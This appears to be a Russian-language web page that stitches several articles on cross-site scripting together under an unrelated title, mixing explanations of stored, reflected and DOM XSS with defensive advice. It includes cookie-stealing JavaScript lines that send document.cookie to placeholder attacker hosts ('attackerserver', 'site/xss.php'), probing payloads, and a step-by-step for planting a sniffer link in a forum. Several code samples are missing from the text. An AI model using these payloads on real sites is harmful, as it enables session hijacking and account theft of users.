Пассивная xss. Easy Hack: Как добыть данные через Cross Site Scripting Inclusion

03.04.2019

Оригинал: Securing Apache, Part 2: XSS Injections
Автор: Arpit Bajpai
Дата публикации: 1 Сентября 2010 г.
Перевод: А.Панин
Дата перевода: 5 Января 2013 г.

В предыдущей статье серии мы начали обсуждение аспектов безопасной эксплуатации веб-сервера Apache с рассмотрения его архитектуры. После этого мы начали рассмотрение дефектов веб-приложений, начав с SQL-инъекций. В данной статье мы перейдем к рассмотрению следующей категории дефектов, связанных с инъекциями: межсайтового скриптинга, известного под аббревиатурой "XSS". Повторю свои слова о том, что ни я, ни журнал LFY не ставим своей целью научить читателей атаковать сервера; эта информация приводится с целью предоставления необходимых знаний для защиты инфраструктуры.

Уязвимости приложений к атакам на основе межсайтового скриптнга (XSS) удерживают вторую позицию в рейтинге десяти самых опасных рисков безопасности веб-приложений от консорциума OWASP, находясь после уязвимостей к атакам на основе SQL-инъекций. (Кстати, первая буква аббревиатуры "X" используется для того, чтобы не путать понятие межсайтового скриптинга с понятием таблиц каскадных стилей "CSS" .) Консорциум, занимающийся проблемами безопасности, сообщает о том, что доля уязвимостей XSS составляет около 39 процентов от всех уязвимостей веб-приложений.

Что понимается под межсайтовым скриптингом?

Консорциум OWASP определяет XSS как дефект, при котором приложение включает в состав страницы, отправляемой пользователю, переданные им данные без их предварительной проверки или форматирования. Атаки на основе XSS на самом деле являются атаками на основе инъекций кода, затрагивающими процесс интерпретации отправленной веб-приложением страницы в пользовательском браузере.

Эти атаки в большинстве случаев проводятся в рамках систем онлайн-сообщений, блогов и пользовательских конференций (в совокупности называемых "системами онлайн-сообщений" в статье), в которых сообщения хранятся на постоянной основе. При их создании используются технологии HTML, JavaScript, VBScript, ActiveX, Flash и другие технологии сценариев на стороне клиентов.

Целью атак на основе межсайтового скриптинга является похищение пользовательских аутентификационных данных из кук и любой другой важной информации, которая участвует в процессе аутентификации клиента на веб-сайте. С похищенным (действительным) идентификатором пользователя взломщик может представиться пользователем и похитить его данные.

В отличие от большинства атак, в которых участвуют две стороны (взломщик и веб-сайт или взломщик и жертва/клиент), атака на основе межсайтового скриптинга предполагает участие трех сторон: взломщика, жертвы/клиента и веб-сайта.

В ходе атаки на основе межсайтового скриптинга действительному пользователю предоставляется ссылка, расположенная в системе онлайн-сообщений и ведущая на безопасный на первый взгляд сайт, но на самом деле содержащая закодированный сценарий, который выполняется как только пользователь переходит по ней. Этот на первый взгляд безопасный веб-сайт может быть (и является в большинстве случаев) клоном просматриваемого пользователем сайта для осуществления фишинг-атаки; в этом случае он запросит имя пользователя и пароль. В другом случае этот веб-сайт может представлять собой страницу с благодарностью, с помощью которой производится незаметное похищение кук пользователя в фоновом режиме.

Фишинг является методом атаки в Интернет, при которой пользователь вводит важную информацию (такую, как имя и пароль)на созданном злоумышленником веб-сайте, который практически полностью копирует внешний вид веб-сайта, которому доверяет пользователь. Пользователь направляется на такие сайты по ссылкам из массово рассылаемых сообщений посредством электронной почты, системы мгновенных сообщений, и.т.д. Большинство таких атак может быть проигнорировано с помощью тщательной проверки ссылок и отказа перехода по сомнительным ссылкам; следует также проверять строку URL (адресную строку) браузера чтобы убедиться в том, что вы работаете с доверенным сайтом перед вводом идентификационных данных.

Принцип действия атак, основанных на межсайтовом скриптинге

Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.

Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с "подтверждением" или "выводом результатов" (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.

Следующая простейшая PHP-страница уязвима для XSS-атак!

Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку "Arpit Bajpai") в качестве аргумента, URL будет выглядеть следующим образом: http://localhost/hello.php?name=Arpit%20Bajpai (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.

Рисунок 1: Безопасная передача данных

Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: http://localhost/hello.php?name=Hacked .

Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.

Рисунок 2: Необработанный вывод

Как и в большинстве случаев, главной целью XSS-атаки является похищение кук с идентификационными данными пользователей. Ниже показан классический пример попытки организации атаки путем размещения вредоносного JavaScript-кода в системе онлайн-сообщений и сбора данных из пользовательских кук. document.location="http://attackerserver/cookie.php?c="+document.cookie

Когда жертвы проходят по ссылке, содержащей этот вредоносный код, они перемещаются на домашнюю страницу, но данные из их кук передаются специальному сценарию на языке PHP, cookie.php , предназначенному для сборки кук и расположенному на сервере злоумышленника. Код стандартного сценария для сборки кук должен быть аналогичен представленному ниже:

В ходе работы этого сценария в файле cookies.html сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий cookie.php .

Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.

На данном этапе сообразительные пользователи могут отнестись с подозрением к переходу на домашнюю страницу или заподозрить неладное, основываясь на том, что данный переход не свойственен для корректной работы веб-приложения. Для атак в отношении таких пользователей взломщики в большинстве случаев предпочитают использовать в сценариях тэг IFRAME аналогичным показанному ниже способом:

Когда жертва переходит по ссылке с приведенным кодом, расположенной в сообщении, не происходит ничего необычного - правда при этом данные из кук передаются сценарию cookie.php на сервере взломщика. Это принцип действия классических атак, основанных на межсайтовом скриптинге.

Типы XSS-уязвимостей

Большинство XSS-уязвимостей можно разделить на три категории на основании того, как взломщики обходят обработку вредоносного кода веб-приложением. Эти категории:

Постоянно существующие или хранимые уязвимости
Непостоянно существующие или отраженные уязвимости
Уязвимости модели DOM или локальные уязвимости

Давайте рассмотрим каждую категорию по очереди.

Постоянно существующие или хранимые уязвимости

Постоянно существующие XSS-уязвимости являются наиболее мощными и эффективными из всех. Они присутствуют в том случае, если данные, передаваемые веб-приложению пользователем вначале помещаются на постоянное хранение на сервере (в базу данных, файловую систему или другое хранилище), а затем выводятся пользователям в виде веб-страницы без должной обработки.

Сценарий атаки на систему онлайн-сообщений, приведенный ниже, является классическим примером подобной ситуации. Схема атаки, основанной на постоянно существующей уязвимости, показана на Рисунке 3.

Рисунок 3: Схема атаки с использованием постоянно существующей уязвимости

В начале атаки взломщик внедряет вредоносный сценарий с помощью веб-формы ввода данных. После этого внедренный код сохраняется в базе данных сервера. Когда любой пользователь открывает страницу, вредоносный код исполняется. Любой пользователь, который переходит по ссылке (или всего лишь просматривает сообщение в случае атаки с использованием тэга IFRAME) становится жертвой атаки, так как вредоносный код исполняется в его браузере и отправляет его аутентификационные данные взломщику.

Это тип атаки очень эффективен, так как взломщик может атаковать ряд пользователей сервера - всех тех, кто переходит по ссылке или просматривает сообщение.

Непостоянно существующие или отраженные уязвимости

Непостоянно существующие XSS-уязвимости являются на данный момент наиболее эксплуатируемыми. Этот тип XSS-уязвимостей чаще всего возникает из-за того, что сценарии в ходе генерации документов в формате HTML выводят пользовательские данные без дополнительной обработки.

Например, взломщик находит XSS-уязвимость в веб-приложении, заключающуюся в том, что сценарий выводит отправленный запрос вместе с результатом его выполнения. Обычно используемый URL сайта при осуществлении запроса выглядит следующим образом: http://www.example.com/search.php?query=products . В нормальных условиях в ответ на этот запрос выводится список доступных продуктов. Как только взломщики находят уязвимость, они могут отправить модифицированную ссылку (с измененными значениями известных переменных) жертве атаки, преследуя цель похищения аутентификационных данных: http://www.example.com/search.php?query=alert(document.cookie) .

Переход по этой ссылке приведет к выводу браузером жертвы атаки окна сообщения с данными из кук. Приведенный выше пример безопасен: взломщик может причинить гораздо больший ущерб, похитив пароли, изменив адрес домашней страницы или переместив жертву атаки на другой веб-сайт, используя модифицированный код JavaScript.

Схема атаки, основанной на отраженной уязвимости показана на Рисунке 4.

Рисунок 4: Пошаговая иллюстрация процесса атаки, основанной на отраженной уязвимости

В наши дни встраивание в код ссылки таких объемных сценариев может привлечь внимание потенциальных жертв атаки, поэтому взломщики просто преобразовывают их в шестнадцатеричный формат с помощью множества доступных конвертеров, таких, как представленный по ссылке http://code.cside.com/3rdpage/us/url/converter.html . Более того, если вредоносный сценарий достаточно велик, используются сервисы для сокращения длины URL, такие, как Tiny URL, после чего создается короткий URL, указывающий на длинный.

Уязвимости модели DOM или локальные уязвимости

Уязвимости модели DOM существуют в HTML-коде сайта (в статических сценариях) и могут эксплуатироваться непостоянно. В качестве простого примера уязвимости модели DOM можно привести статический сценарий, встроенный в страницу, который при исполнении использует функцию DOM, такую, как document.write для вывода значения переменной pos.

Единственным отличием уязвимости модели DOM от других типов является то, что сервер не возвращает результатов запроса; наоборот, происходит локальная обработка данных при помощи функций DOM и вредоносный сценарий исполняется с такими же правами, что и веб-браузер на машине жертвы атаки. Представьте ситуацию, при которой уязвимый сайт содержит следующую страницу (с названием, например, http://www.example.com/welcome.html): var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our site ...

В нормальных условиях на данной странице будет выведено приветствие для пользователя при переходе по следующему URL: http://www.example.com/welcome.html?name=Joe .

Однако, небольшое вмешательство в URL приводит к отображению данных из кук пользователя в окне предупреждения браузера в том случае, если он перейдет по следующей ссылке: http://www.example.com/welcome.html?name=alert(document.cookie) .

При открытии данной ссылки браузер пользователя отправляет HTTP-запрос сайту с именем www.example.com . В ответ он получает статическую HTML-страницу с представленным выше содержанием. После этого браузер жертвы начинает преобразование HTML в DOM. В данном случае код ссылается на переменную document.URL , поэтому часть строки запроса сохраняется при разборе HTML. После этого происходит исполнение в контексте страницы вредоносного JavaScript-кода, переданного в составе URL, что и позволяет провести XSS-атаку.

Вы должны понимать, что запрос в полном объеме достигает сервера (в строке HTTP-запроса), поэтому данный тип XSS-атаки, как и любой другой, может быть идентифицирован - но взломщики предусматривают даже эту возможность, формируя запрос в следующей форме: http://www.example.com/welcome.html#name=alert(document.cookie) .

Следует учитывать, что в этом случае используется символ решетки (#); с помощью него браузеру сообщается о том, что данные после этого символа являются фрагментом и не являются частью запроса. Браузеры IE (6.0) и Mozilla не отправляют фрагмент серверу, поэтому в случае использования данных браузеров сервер получит только следующую часть запроса: http://www.example.com/welcome.html , а остальные данные будут скрыты.

Тенденции в области XSS-атак

XSS -атаки с использованием мета-информации (miXSS)

Это новый тип XSS-уязвимостей, появившийся недавно и использующий уязвимости утилит для сетевого администрирования. Эту уязвимость можно обнаружить в коде серверов, использующих корректные пользовательские запросы для сбора данных и вывода их пользователю. Атаки на основе межсайтового скриптинга проводятся при использовании этих данных. При этом взломщики могут получить информацию о утилитах сетевого администрирования. Веб-сайты, которые позволяют провести разрешение DNS и веб-сайты, которые проверяют записи SPF наиболее подвержены miXSS-атакам. Для того, чтобы узнать больше данном типе атак, обратитесь к списку дополнительных ресурсов в конце статьи.

XSS Shell

XSS Shell является инструментом для установления XSS-канала между жертвой атаки и взломщиком, причем взломщик может управлять браузером при помощи команд. Обмен данными является двухсторонним.

XSS Tunnel

Это программа с открытым исходным кодом на.NET, распространяемая под лицензией GPL и являющаяся обычным HTTP-прокси, работающим в системе взломщика. Она позволяет передавать HTTP-трафик через туннель в виде XSS-канала и теоретически может использоваться вместе с любым приложением, работающим с HTTP-прокси.

DDoS-атаки при помощи XSS

Тенденции развития XSS-атак указывают на то, что взломщики используют уязвимые сайты в качестве начального шага при проведении распределенных атак отказа в обслуживании. Они предлагают пользователям скачать и установить дополнения для браузера. Когда пользователь переходит по ссылке, вместе с дополнением для браузера в его систему (в большинстве случаев) в фоновом режиме устанавливается вредоносное ПО в виде червя или бота. Это ПО может предоставить взломщику неограниченные права в пользовательской системе, поэтому взломщик может использовать систему для проведения атак отказа в обслуживании или для построения ботнета.

Противодействие XSS-атакам

Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.

Мероприятия для клиентов или пользователей

Следует серьезно и тщательно рассматривать все сообщения электронной почты, содержащие длинные, объемные и подозрительные ссылки. Не стоит переходить по этим ссылкам, даже если они ведут на известные сайты, которым вы доверяете. Во многих подобных сообщениях применяются различные хитрости для того, чтобы убедить вас пройти по ссылке. В некоторых сообщениях содержатся предложения об улучшении вашего материального состояния и независимости; другие сообщения содержат предупреждения о том, что вы можете потерять свою учетную запись (действительную) на веб-сайте, если "немедленно не подтвердите информацию о вашем имени пользователя и пароле". Серьезно подумайте перед переходом по таким ссылкам, особенно с учетом той информации, которую вы почерпнули из данной статьи. Очевидно, что точно такие же меры предосторожности следует предпринимать по отношению к сообщениям в системах онлайн-сообщений и социальных сетях.

Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы < и > (в последовательности %3C и %3E соответственно) в параметре document.URL в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.

Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.

Если у вас появилась сомнительная ссылка и вы хотите перейти по ней, при этом не используя браузер Firefox с расширением NoScript, вам необходимо отключить JavaScript, Java (и Active X если вы работаете в ОС Windows) перед переходом. Также вы можете перейти по ссылке, вручную вписав ее в адресную строку браузера.

Если при создания ссылки использовался сервис по сокращению длины URL, такой, как "tiny", "tinyurl", "bit.ly", "is.gd", "shorturl", "snipurl", и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения "ненадежных" сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам. Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.

Для разработчиков

Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является Nikto .

Следующим важным действием является фильтрация всех подозрительных данных, основанная на HTML-контексте (body, attribute, JavaScript, CSS или URL), в котором они будут размещены. Разработчикам следует организовать данную функцию в своих приложениях. Обратитесь к шпаргалке по предотвращению XSS-атак от OWASP для получения подробной информации о техниках фильтрации данных.

Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.

Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как , , , и . Также не выводите никаких введенных значений без фильтрации.

Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.

Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.

Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.

Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.

Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства document.cookie , поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.

Инструменты

Dotdefender является инструментом для защиты веб-приложений, блокирующим атаки, выражающиеся в модификации логики HTTP-запросов. Он превосходно защищает от атак на основе SQL-инъекций, межсайтового скриптинга и вмешательства в заголовки. Обратитесь к документации, расположенной .
KeepNI немедленно оповещает вас в случае некорректной работы вашего веб-сайта. Данный инструмент рассчитан на постоянную корректную работу вашего веб-сайта. Обратитесь к документации, расположенной .
Экраны для веб-приложений позволяют проводить проверки на наличие вводимых некорректных данных и модификации параметров, предназначенных только для чтения, а так же блокируют запросы и осуществляют фильтрацию параметров. Их самым большим достоинством является то, что они позволяют защитить устаревшие небезопасные приложения.

Поскольку XSS-атаки требуют участия пользователя, их количество напрямую зависит от крайней внимательности пользователей. Для получения более подробной информации о XSS-атаках и методах защиты от них, не забудьте рассмотреть раздел дополнительных ресурсов ниже. Мы рассотрим другие опасные типы атак на веб-приложения и Apache в следующей статье. Между тем, вы можете оставить ваши вопросы и конструктивную критику в разделе комментариев ниже.

Всегда помните: нужно знать все о взломе, не не заниматься им.

Дополнительные ресурсы:

Один из лучших ресурсов с информацией о XSS-атаках xssed.com
Книга "Syngress XSS Attacks Cross Site Scripting Exploits and Defense by Jeremiah Grossman, Robert "Rsnake" Hansen and others", обязательна для чтения тем, кто действительно заинтересовался данным типом атак

Инструкция

Суть XSS-уязвимости состоит в возможности выполнения на сервере стороннего скрипта, позволяющего хакеру украсть конфиденциальные данные. Обычно крадутся кукисы: подставив их вместо своих, злоумышленник может зайти на сайт с правами того человека, чьи данные он украл. Если это администратор, то и хакер войдет на сайт с полномочиями администратора.

XSS-уязвимости делятся на пассивные и активные. Использование пассивной предполагает, что скрипт удается выполнить на сайте, но не сохранить на нем. Для использования такой уязвимости хакеру надо под тем или иным предлогом заставить вас перейти по присланной им ссылке. Например, вы администратор сайта, получаете личное сообщение и переходите по указанной в нем ссылке. При этом кукисы уходят на сниффер – программу для перехвата нужных хакеру данных.

Активные XSS встречаются гораздо реже, но они намного опаснее. В этом случае вредоносный скрипт сохраняется на странице сайта – например, в сообщении форума или гостевой книги. Если вы зарегистрированы на форуме и открываете такую страницу, ваши кукисы автоматически уходят к хакеру. Именно поэтому так важно уметь проверить свой сайт на присутствие данных уязвимостей.

Для поиска пассивной XSS обычно используется строка ">alert() вводимая в поля для ввода текста, чаще всего в поисковое поле сайта. Вся хитрость в первой кавычке: при ошибке в фильтрации символов воспринимается как закрывающая поисковый запрос, и стоящий после нее скрипт выполняется. Если уязвимость есть, вы увидите на экране всплывшее окошко. Уязвимость этого вида очень распространена.

Поиск активной XSS начинается с проверки того, выполнение каких тегов разрешено на сайте. Для хакера наиболее важными являются теги img и url. Например, попробуйте вставить в сообщение ссылку на картинку вида: http://www.site.ru/image.jpg. Адрес может быть любым, собственно картинка здесь не нужна. Хакеру важно увидеть, вставилась ли его картинка в сообщение. Если да, то в сообщении на месте картинки появится красный крестик (ведь реально картинки нет). Далее он проверит, можно ли вставить пробел после расширения *.jpg: http://www.site.ru/image.jpg .

Если снова появился крестик, хакер на полпути к успеху. Теперь он добавляет после расширения *.jpg еще один параметр: http://www.site.ru/image.jpg lowsrc=javascript:alert() . Сообщение с крестиком снова появилось на странице: теперь у каждого, кто ее откроет, будет появляться всплывающее окошко. Это значит, что уязвимость присутствует и работает. Теперь хакеру остается удалить свои сообщения и вставить новое, со ссылкой на сниффер вместо кода, выводящего предупреждающее окошко.

Как защитить сайт от атак через XSS-уязвимости? Старайтесь, чтобы на нем было как можно меньше полей для ввода данных. Причем «полями» могут стать даже радиокнопки, чекбоксы и т.д. Есть специальные хакерские утилиты, выводящие на странице браузера все скрытые поля. Например, IE_XSS_Kit для Internet Explorer. Найдите эту утилиту, установите ее – она добавится в контекстное меню браузера. После этого проверьте все поля своего сайта на возможные уязвимости.

Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.

Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:

http://www.site.com/page.php?var=<script>alert("xss");

Как-то не очень страшно:) Чем же действительно может быть опасной данная уязвимость?

Пассивная и активная

Существует два типа XSS уязвимостей - пассивная и активная.

Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.

Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.

Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.

document.getElementsByTagName("form").submit();

Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).

Кража Cookies

Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.

var іmg = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть , , , background:url(); и т.п.

Кража данных из форм

Ищем форму через, например, getElementById и отслеживаем событие onsubmit. Теперь, перед отправкой формы, введенные данные отправляются также и на сервер злоумышленника.

Этот тип атаки чем-то напоминает фишинг, только используется не поддельный сайт, а реальный, чем вызывается большее доверие жертвы.

DDoS-атака (распределенная атака типа «отказ в обслуживании»)

XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста - много запросов, которые не выдерживает атакуемый сервер.
Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида:

Подделка межсайтовых запросов (CSRF/XSRF)

Также имеет косвенное отношение к XSS. Вообще это отдельный тип уязвимости, но часто используется совместно с XSS. Суть заключается в том, что пользователь, авторизированный на неуязвимом сайте, заходит на уязвимый (или специальную страницу злоумышленника), с которого отправляется запрос на совершение определенных действий.

Грубо говоря, в идеале это должно быть так. Пользователь авторизировался в системе платежей. Потом зашел на сайт злоумышленника или сайт с XSS-уязвимостью, с которого отправился запрос на перевод денег на счет злоумышленника.

Поэтому большинство сайтов при совершении определенных действий пользователя (например, смена e-mail) переспрашивают пароль или просят ввести код подтверждения.

XSS-черви

Этот тип атаки появился, наверное, благодаря соцсетям, таким как Вконтакте и Twitter. Суть в том, что нескольким пользователям соцсети посылается ссылка с XSS-уязвимостью, когда они перейдут по ссылке, то интегрированный скрипт рассылает сообщения другим пользователям от их имени и т.д. При этом могут совершаться и другие действия, например отсылка личных данных жертв злоумышленнику.

Безобидный XSS

Интересно, что счетчики по своей сути тоже являются в некотором роде активной XSS-атакой. Ведь на сторонний сервер передаются данные о посетителе, как, например, его IP-адрес, разрешение монитора и т.п. Только код в свою страничку вы интегрируете по собственной воле:) Взгляните, например, на код Google Analytic.

Здравствуйте уважаемые читатели моих компьютерных опусов. Сегодня я хотел бы вам рассказать о такой штуке, как . Что такое XSS-уязвимость?

XSS – это аббревиатура, которая расшифровывается как Cross Site Scripting . Если по-русски, то это «межсайтовый скриптинг» Все понятно? Правда, не очень? Я тоже, когда в первый раз прочитал такое определение, ничего не понял. Но двинемся дальше, к пониманию сути проблемы 🙂

Хотя по идее надо бы аббревиатуру писать как CSS, но ведь такая аббревиатура уже есть, и обозначает она каскадные таблицы стилей, которые широко используются в веб-програмировании. Поэтому новое понятие решили обозначить как XSS.

XSS-уязвимость – это уязвимость на сервере, которая позволяет внедрить в генерируемую и затем передаваемую пользователю страницу формата HTML некий произвольный код, порой весьма вредоносный. Причем подчеркну – код внедряется не в сам скрипт, а именно в страницы, передаваемые пользователям . Так что сервер как таковой опасности не подвергается, подвергаются ей только посетители сайта.

Для проведения атаки используется так называемая нефильтруемая переменная – такая переменная, которая перед ее использованием в скрипте не проверяется на корректность и наличие в ней запретных символов. Вначале значение данной переменной передается от страницы, загруженной в браузере пользователя, некоторому PHP-скрипту. А если киберпреступник — хакер подставит в передаваемые значения некоторый код, то данный код выполнится интерпретатором без всяких условий. Вот так, довольно просто и не особо напрягаясь. Достаточно лишь найти эту самую XSS-уязвимость.

Как используется XSS-уязвимость.

В основном XSS-уязвимость используется для кражи так называемых cookies . В них хранятся текущие сессии пользователей. Присвоив себе данную сессию, хакер может до ее окончания выступать владельцем вашего почтового ящика, сайта или подобных сервисов, где используется авторизация пользователей через веб-браузер. Также в кукисах хранится пароль от аккаунта (правда, в зашифрованном виде). Если его удастся расшифровать, хакер полностью получает доступ к аккаунту пользователя.

Какие действия осуществляют хакеры, используя XSS-уязвимость.

Что же еще можно осуществить, имея на руках XSS-уязвимость и зная, как ею пользоваться? О, тут фантазия хакеров неистощима. В первую очередь – это всевозможные подлянки для нерадивых ламеров 🙂

К примеру, можно вывести на экран бесконечное число сообщений, окон и прочего в ответ на любое действие пользователя, даже в ответ на его заход на сайт.

Можно также переадресовать пользователя на другой ресурс (к примеру – фишинг овый), где, пользователь, авторизовавшись, передаст в руки злоумышленников свои пароли и логины в открытом виде .

При наличии XSS-уязвимости у злоумышленника также появляется возможность, помимо кражи coocies, осуществить кражу конфиденциальной информации – об установленной операционной системе, текущем IP-адресе, посещенных пользователем сайтах, о браузерах, используемых на компьютере , да много еще чего можно «присвоить».

Еще можно заставить выполняться любой зловредный (или не зловредный, на усмотрение хакера) скрипт, который располагается на каком-нибудь удаленном сервере. Пользователь, загрузив себе зараженную страницу, переадресуется на любой другой сервер, откуда начинается загрузка скриптов, указанных в уязвимости.

Еще, если пользователь пользуется уязвимыми браузерами, то у злоумышленника есть возможность запуска на удаленной машине произвольного кода – шелла или использовать эксплоит для доступа к машине пользователя.

Вот на этом я и закончу обзор основных возможностей на тему . Кому интересно - прошу в вики и специализированные сайты. А моя задача — лишь дать пишу для размышлений…